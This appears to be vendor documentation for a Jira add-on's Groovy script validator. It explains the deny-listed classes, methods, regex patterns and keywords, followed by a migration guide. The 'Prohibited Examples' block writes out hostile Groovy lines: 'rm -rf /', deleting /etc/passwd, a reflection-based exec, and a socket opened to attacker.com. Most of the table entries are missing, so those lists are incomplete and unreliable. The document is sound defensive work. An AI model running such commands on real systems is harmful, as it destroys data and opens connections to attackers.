Script Security Restrictions
Overview
For security reasons, we have implemented strict validation rules for Groovy script execution in script fields. Previously, customers could execute any code without restrictions, which posed significant security risks. This document outlines the new security measures and restrictions that have been put in place.
Security Implementation
The new security validator (GroovyScriptValidator) implements a comprehensive deny-list approach that prevents execution of potentially dangerous code patterns, classes, and methods.
Restricted Categories
1. Forbidden Classes
The following classes are completely prohibited from use in Groovy scripts:
Class | Reason for Restriction | Security Risk |
|---|---|---|
| System command execution | Can execute arbitrary system commands |
| Process manipulation | Can start external processes |
| Process creation | Can build and execute system processes |
| Dynamic class loading | Can load malicious classes |
| Reflection access | Can invoke private/protected methods |
| Reflection access | Can instantiate restricted objects |
| System-level access | Can manipulate system properties and exit JVM |
| File system access | Can read/write/delete files |
| File I/O operations | Can access sensitive files |
| File operations | Can modify system files |
| NIO file operations | Can perform advanced file system operations |
| Network access | Can establish network connections |
| Database connections | Can access databases directly |
| Database access | Can manipulate database connections |
| JNDI access | Can perform JNDI lookups |
| Script execution | Can execute nested scripts |
| Groovy execution | Can execute dynamic Groovy code |
| Dynamic loading | Can load and execute arbitrary Groovy classes |
| Code evaluation | Can evaluate arbitrary expressions |
2. Forbidden Methods
These methods are blocked regardless of the class they’re called on:
Method | Reason for Restriction | Example Use Case to Avoid |
|---|---|---|
| Command execution |
|
| Process execution |
|
| Process starting |
|
| System runtime access |
|
| Dynamic class loading |
|
| Class reflection |
|
| Object instantiation |
|
| Method invocation |
|
| Reflection access | Accessing private members |
| Security bypass | Making private members accessible |
| JVM termination |
|
| JVM control | Forcing garbage collection |
| JVM lifecycle | Adding shutdown hooks |
| Environment access | Reading system properties |
| System modification | Modifying system properties |
3. Suspicious Patterns (Regex-based Detection)
The validator uses regular expressions to suspicious dangerous code patterns:
Pattern | Description | Example | Risk |
|---|---|---|---|
Command execution patterns | Detects command execution attempts |
| System compromise |
File system access | Detects file path manipulations |
| Data theft |
Reflection patterns | Detects Class.forName usage |
| Security bypass |
Method/Field access | Detects reflection-based access |
| Private member access |
Nested script execution | Detects dynamic script creation |
| Code injection |
System manipulation | Detects system-level operations |
| Service disruption |
Dangerous imports | Detects risky import statements |
| Access to restricted classes |
JNDI operations | Detects naming context usage |
| Remote code execution |
Network operations | Detects socket/URL usage |
| Data exfiltration |
Database access | Detects direct DB connections |
| Data breach |
Serialization | Detects object streams |
| Deserialization attacks |
4. Suspicious Keywords
Scripts containing these keywords are flagged and rejected:
Keyword | Reason |
|---|---|
| Indicates potential exploit code |
| Suggests malicious intent |
| Often associated with shell access |
| Indicates unauthorized access attempts |
| Malicious software indicators |
| System-level compromise tools |
| Data theft tools |
| Distributed attack tools |
| Remote access tools |
Additional Security Measures
Script Size Limitation
Maximum script size: 10KB
Reason: Prevents resource exhaustion and limits the complexity of potential attacks
Normalization Process
Scripts undergo normalization before validation:
Whitespace normalization
Comment removal (both
//and/* */)Case conversion for pattern matching
Examples of Restricted Code
❌ Prohibited Examples
// System command executionRuntime.getRuntime().exec("rm -rf /")// File system accessnew File("/etc/passwd").delete()// Reflection-based security bypassClass.forName("java.lang.Runtime").getMethod("exec").invoke(null, "malicious_command")// Network accessnew Socket("attacker.com", 1337)// Database manipulationDriverManager.getConnection("jdbc:h2:mem:test")// Dynamic script executionnew GroovyShell().evaluate("malicious code here")// System property manipulationSystem.setProperty("java.security.manager", null)
✅ Allowed Examples
// String manipulationdef result = "Hello " + input.toUpperCase()// Date operationsimport java.time.LocalDateTime
def now = LocalDateTime.now()// Math operationsdef calculation = Math.sqrt(input * 2)// Collection operationsdef list = [1, 2, 3, 4, 5]def filtered = list.findAll { it > 2 }// HTTP client operations (allowed)import java.net.http.HttpClient
// Note: HTTP operations are permitted for legitimate API calls// Basic object creation and manipulationclass MyClass { String property
}def obj = new MyClass(property: "value")
Migration Guide
For Existing Scripts
If your existing scripts are now failing validation, consider these alternatives:
File Operations: Instead of direct file access, use approved APIs or request specific functionality from administrators
System Commands: Replace with Java/Groovy native operations or approved utility methods
Database Access: Use provided database connection objects instead of creating direct connections
Network Operations: Use approved HTTP client libraries where available
Best Practices
Keep scripts simple: Focus on data transformation and business logic
Use approved libraries: Stick to standard Java/Groovy libraries for common operations
Avoid reflection: Use direct method calls instead of reflection-based approaches
Test early: Validate your scripts in development environments before deployment
Technical Implementation Details
Validator Class:
com.deiser.jira.profields.groovy.security.GroovyScriptValidatorValidation Method:
validateScript(String script)Return Type:
ValidationResultwith validation status and error messagesPerformance: Validation is performed before script execution to prevent security risks
Error Messages
When a script violates security rules, you’ll receive specific error messages:
"Use of forbidden class: [ClassName]""Use of forbidden method: [methodName]""Dangerous pattern detected: [pattern]""Suspicious keyword detected: [keyword]""Script too long (>10KB)"
Note: These security measures are non-negotiable and cannot be disabled. They are essential for maintaining system security and protecting against malicious code execution.